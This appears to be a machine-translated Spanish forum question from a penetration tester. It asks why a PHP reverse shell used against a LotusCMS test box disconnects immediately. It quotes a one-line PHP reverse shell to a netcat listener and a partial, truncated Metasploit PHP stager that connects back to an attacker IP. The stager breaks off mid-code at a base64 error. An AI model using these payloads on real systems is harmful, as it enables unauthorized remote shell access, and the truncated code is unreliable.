Mientras realizaba una prueba de penetración en un cuadro de prueba, encontré una vulnerabilidad relacionada con LotusCMS: enlace
En lugar de confiar en Metasploit o Meterpreter para realizar este exploit, leí el código Metasploit y determiné exactamente cómo estaba explotando el parámetro dentro de la página web. Al intentar usar el código PHP en línea (con un listado de netcat en mi casilla de ataque):
sock = fsockopen ("x.x.x.x", 1234); exec ("/ bin / sh -i < & 3 > & 3 2 > & 3");
El shell se conecta al oyente netcat, pero luego se elimina instantáneamente.
¿Alguien puede explicar por qué netcat elimina la cáscara inversa?
Admitentemente mi conocimiento de stdin, stdout y stderr es inexistente? ¿Podría ser esto algo con la interrupción de la conexión?
También uso base64 en el script de shell inverso en línea anterior (no estoy seguro de si esto afecta algo).
¡Gracias de antemano!
Este es el código de la carga útil de Metasploit (descodificada desde base64):
/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input